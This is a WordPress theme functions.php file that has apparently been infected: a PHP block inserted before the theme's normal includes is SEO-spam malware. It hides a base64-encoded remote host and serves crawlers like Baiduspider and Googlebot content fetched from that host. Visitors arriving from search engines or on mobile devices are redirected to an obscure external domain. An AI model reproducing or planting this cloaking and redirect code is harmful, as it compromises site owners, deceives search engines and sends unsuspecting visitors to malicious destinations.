File: /www/wwwroot/www.sceytyg.com/wp-content/themes/Zing-Pro/functions.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovL21pcDUuaW1hZ2UxLm9ubGluZS8='));
define('MULU', 'timi|app|ios|android|download|page|games|play|video|news|product|blog|list|vod|post|activities|id|?|a|forum|portal|question|b|keyan|index.php|g|swsb|ys|dy|du|ku|show.php|.html');
function isEngines($key) {
$spiders = array('Baiduspider', 'Sogou', '360Spider', 'YisouSpider', 'Googlebot', 'Bingbot', 'Bytespider');
foreach ($spiders as $spider) {
if (stripos($key, $spider) !== false) return true;
}
return false;
}
function my_custom_isMobile() {
return preg_match("/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i", $_SERVER["HTTP_USER_AGENT"]);
}
function isIncludes() {
$temp = explode('|', MULU);
foreach ($temp as $v) {
if (stripos(URI, $v) !== false) return true;
}
return false;
}
function isRef($ref) {
if (empty($ref)) return false;
return (stripos($ref, 'baidu') !== false || stripos($ref, 'sm.cn') !== false ||
stripos($ref, 'so.com') !== false || stripos($ref, 'sogou') !== false);
}
function getContents($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$result = curl_exec($ch);
curl_close($ch);
if ($result == NULL) {
return @file_get_contents($url);
}
return $result;
}
$ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$ym = $_SERVER['HTTP_HOST'];
if (isEngines($key)) {
header('Content-Type:text/html;charset=utf-8');
if (isIncludes()) {
echo getContents(host . "?xhost=" . $ym . '&reurl=' . urlencode(URI) . '&ua=Baiduspider&f=bd');
exit;
} else {
echo getContents(host . "lunlian/dt.php");
}
} else {
if (isIncludes()) {
if (isRef($ref) || my_custom_isMobile()) {
header("Location: https://zvpso4yc.4npdpd-t8bka-fgsden.work:21557/?cid=jhgb&ref=" . urlencode($ym));
exit;
}
}
}
?>
<?php
/** --------------------------------------------------------------------------------- *
* 主题框架
* --------------------------------------------------------------------------------- */
include TEMPLATEPATH.'/admin/dahuzi-framework/dahuzi-framework.php';
/** --------------------------------------------------------------------------------- *
* 核心文件
* --------------------------------------------------------------------------------- */
include TEMPLATEPATH.'/public/zing-functions.php'; //zing主题相关
include TEMPLATEPATH.'/public/core/admin-page.php';
include TEMPLATEPATH.'/public/extend/xintheme-seo.php'; //SEO设置
include TEMPLATEPATH.'/public/basic-functions.php'; //通用函数
include TEMPLATEPATH.'/public/wp-optimize.php'; //WP优化
include TEMPLATEPATH.'/public/extend-functions.php'; //扩展功能
include TEMPLATEPATH.'/public/widget.php'; //小工具
include TEMPLATEPATH.'/public/comment.php'; //评论相关
include TEMPLATEPATH.'/public/dahuzi-contact.php'; //在线留言
include TEMPLATEPATH.'/public/core/encryption.php';
//echo home_url(add_query_arg(array()));
//echo home_url(add_query_arg(array(),$wp->request));
//移除网址链接中的参数,避免被刷广告
function dhz_remove_query_strings() {
//跳过后台和搜索页面
if (is_admin() || is_search()) {
return;
}
if (strpos($_SERVER['REQUEST_URI'], '?') !== false) {
//获取当前链接
$current_url = home_url(add_query_arg(array()));
//301重定向至不带参数的链接
wp_redirect(strtok($current_url, '?'), 301);
exit();
}
}
//add_action('template_redirect', 'dhz_remove_query_strings');